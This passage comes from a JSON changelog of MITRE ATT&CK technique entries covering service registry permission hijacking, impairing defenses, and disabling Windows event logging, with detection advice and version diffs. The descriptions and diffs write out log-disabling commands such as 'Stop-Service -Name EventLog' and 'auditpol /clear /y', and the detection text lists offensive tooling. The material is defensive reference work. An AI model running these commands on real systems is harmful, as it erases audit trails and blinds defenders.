"source_name": "Autoruns for Windows", "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Travis Smith, Tripwire", "Matthew Demaske, Adaptforward" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Service: Service Metadata", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Application control" ], "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", "x_mitre_effective_permissions": [ "SYSTEM" ], "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 23:52:52.058000+00:00\", \"old_value\": \"2020-09-16 19:07:48.590000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,9 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n-If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n-Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) \\n+Adversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n+\\n+The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n+\\n+Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"malware_hides_service\", \"old_value\": \"Kansa Service related collectors\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.\", \"old_value\": \"Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/\", \"old_value\": \"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Kansa Service related collectors\", \"old_value\": \"Tweet Registry Perms Weakness\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.\", \"old_value\": \"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html\", \"old_value\": \"https://twitter.com/r0wdy_/status/936365549553991680\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Tweet Registry Perms Weakness\", \"old_value\": \"Autoruns for Windows\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.\", \"old_value\": \"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://twitter.com/r0wdy_/status/936365549553991680\", \"old_value\": \"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"microsoft_services_registry_tree\", \"description\": \"Microsoft. (2021, August 5). HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services Registry Tree. Retrieved August 25, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree\"}, \"root['external_references'][7]\": {\"source_name\": \"insecure_reg_perms\", \"description\": \"Cl\\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.\", \"url\": \"https://itm4n.github.io/windows-registry-rpceptmapper-eop/\"}, \"root['external_references'][8]\": {\"source_name\": \"troj_zegost\", \"description\": \"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.\", \"url\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost\"}, \"root['external_references'][9]\": {\"source_name\": \"Autoruns for Windows\", \"description\": \"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.\", \"url\": \"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may execute their own malicious payloads by hijat1Adversaries may execute their own malicious payloads by hija
>cking the Registry entries used by services. Adversaries may>cking the Registry entries used by services. Adversaries may
> use flaws in the permissions for registry to redirect from > use flaws in the permissions for Registry keys related to s
>the originally specified executable to one that they control>ervices to redirect from the originally specified executable
>, in order to launch their own code at Service start.  Windo> to one that they control, in order to launch their own code
>ws stores local service configuration information in the Reg> when a service starts. Windows stores local service configu
>istry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</co>ration information in the Registry under <code>HKLM\\SYSTEM\\C
>de>. The information stored under a service's Registry keys >urrentControlSet\\Services</code>. The information stored und
>can be manipulated to modify a service's execution parameter>er a service's Registry keys can be manipulated to modify a 
>s through tools such as the service controller, sc.exe,  [Po>service's execution parameters through tools such as the ser
>werShell](https://attack.mitre.org/techniques/T1059/001), or>vice controller, sc.exe,  [PowerShell](https://attack.mitre.
> [Reg](https://attack.mitre.org/software/S0075). Access to R>org/techniques/T1059/001), or [Reg](https://attack.mitre.org
>egistry keys is controlled through Access Control Lists and >/software/S0075). Access to Registry keys is controlled thro
>permissions. (Citation: Registry Key Security)  If the permi>ugh access control lists and user permissions. (Citation: Re
>ssions for users and groups are not properly set and allow a>gistry Key Security)(Citation: malware_hides_service)  If th
>ccess to the Registry keys for a service, then adversaries c>e permissions for users and groups are not properly set and 
>an change the service binPath/ImagePath to point to a differ>allow access to the Registry keys for a service, adversaries
>ent executable under their control. When the service starts > may change the service's binPath/ImagePath to point to a di
>or is restarted, then the adversary-controlled program will >fferent executable under their control. When the service sta
>execute, allowing the adversary to gain persistence and/or p>rts or is restarted, then the adversary-controlled program w
>rivilege escalation to the account context the service is se>ill execute, allowing the adversary to establish persistence
>t to execute under (local/domain account, SYSTEM, LocalServi> and/or privilege escalation to the account context the serv
>ce, or NetworkService).  Adversaries may also alter Registry>ice is set to execute under (local/domain account, SYSTEM, L
> keys associated with service failure parameters (such as <c>ocalService, or NetworkService).  Adversaries may also alter
>ode>FailureCommand</code>) that may be executed in an elevat> other Registry keys in the service\u2019s Registry tree. For exa
>ed context anytime the service fails or is intentionally cor>mple, the <code>FailureCommand</code> key may be changed so 
>rupted.(Citation: Kansa Service related collectors)(Citation>that the service is executed in an elevated context anytime 
>: Tweet Registry Perms Weakness) >the service fails or is intentionally corrupted.(Citation: K
 >ansa Service related collectors)(Citation: Tweet Registry Pe
 >rms Weakness)  The <code>Performance</code> key contains the
 > name of a driver service's performance DLL and the names of
 > several exported functions in the DLL.(Citation: microsoft_
 >services_registry_tree) If the <code>Performance</code> key 
 >is not already present and if an adversary-controlled user h
 >as the <code>Create Subkey</code> permission, adversaries ma
 >y create the <code>Performance</code> key in the service\u2019s R
 >egistry tree to point to a malicious DLL.(Citation: insecure
 >_reg_perms)  Adversaries may also add the <code>Parameters</
 >code> key, which stores driver-specific data, or other custo
 >m subkeys for their malicious services to establish persiste
 >nce or enable other malicious activities.(Citation: microsof
 >t_services_registry_tree)(Citation: troj_zegost) Additionall
 >y, If adversaries launch their malicious services using svch
 >ost.exe, the service\u2019s file may be identified using <code>HK
 >EY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicena
 >me\\Parameters\\ServiceDll</code>.(Citation: malware_hides_ser
 >vice)
", "changelog_mitigations": { "shared": [ "M1024: Restrict Registry Permissions" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Metadata)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 20:22:13.470000+00:00", "modified": "2021-10-19 13:37:31.463000+00:00", "name": "Impair Defenses", "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562", "external_id": "T1562" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Process: Process Termination", "Windows Registry: Windows Registry Key Modification", "Windows Registry: Windows Registry Key Deletion", "Command: Command Execution", "Service: Service Metadata", "Sensor Health: Host Status", "Script: Script Execution", "Firewall: Firewall Disable", "Firewall: Firewall Rule Modification", "Cloud Service: Cloud Service Modification", "Cloud Service: Cloud Service Disable" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Signature-based detection", "Host intrusion prevention systems", "File monitoring", "Digital Certificate Validation", "Host forensic analysis", "Log analysis", "Firewall" ], "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365", "IaaS", "Linux", "macOS", "Containers", "Network" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 13:37:31.463000+00:00\", \"old_value\": \"2021-04-24 13:59:13.144000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Creation\", \"root['x_mitre_platforms'][6]\": \"Network\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1024: Restrict Registry Permissions" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0009: Process (Process Termination)", "DS0012: Script (Script Execution)", "DS0013: Sensor Health (Host Status)", "DS0017: Command (Command Execution)", "DS0018: Firewall (Firewall Disable)", "DS0018: Firewall (Firewall Rule Modification)", "DS0019: Service (Service Metadata)", "DS0024: Windows Registry (Windows Registry Key Deletion)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0025: Cloud Service (Cloud Service Disable)", "DS0025: Cloud Service (Cloud Service Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 20:46:36.688000+00:00", "modified": "2021-10-19 13:37:30.534000+00:00", "name": "Disable Windows Event Logging", "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/002", "external_id": "T1562.002" }, { "source_name": "Windows Log Events", "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.", "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/" }, { "source_name": "EventLog_Core_Technologies", "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.", "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/" }, { "source_name": "Audit_Policy_Microsoft", "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy" }, { "source_name": "Advanced_sec_audit_policy_settings", "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings" }, { "source_name": "auditpol", "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol" }, { "source_name": "Disable_Win_Event_Logging", "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.", "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging" }, { "source_name": "auditpol.exe_STRONTIC", "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.", "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html" }, { "source_name": "T1562.002_redcanaryco", "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.", "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md" }, { "source_name": "def_ev_win_event_logging", "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/" }, { "source_name": "evt_log_tampering", "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.", "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team" ], "x_mitre_data_sources": [ "Process: Process Creation", "Script: Script Execution", "Windows Registry: Windows Registry Key Creation", "Application Log: Application Log Content", "Sensor Health: Host Status", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Log analysis" ], "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 13:37:30.534000+00:00\", \"old_value\": \"2020-03-29 22:02:33.870000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\\n\\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\\\Local Policies\\\\Audit Policy for basic audit policy settings or Security Settings\\\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\\n\\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\\u201dAccount Logon\\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\\n\\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\", \"old_value\": \"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\\n\\nAdversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,7 @@\\n Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\\n \\n-Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\\n+The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\\\Local Policies\\\\Audit Policy for basic audit policy settings or Security Settings\\\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\\n+\\n+Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\\u201dAccount Logon\\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\\n+\\n+By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n\\nIn Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n\\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\", \"old_value\": \"Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.\\n+Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n+\\n+In Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n+\\n+Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"EventLog_Core_Technologies\", \"description\": \"Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.\", \"url\": \"https://www.coretechnologies.com/blog/windows-services/eventlog/\"}, \"root['external_references'][3]\": {\"source_name\": \"Audit_Policy_Microsoft\", \"description\": \"Daniel Simpson. (2017, April 19). Audit 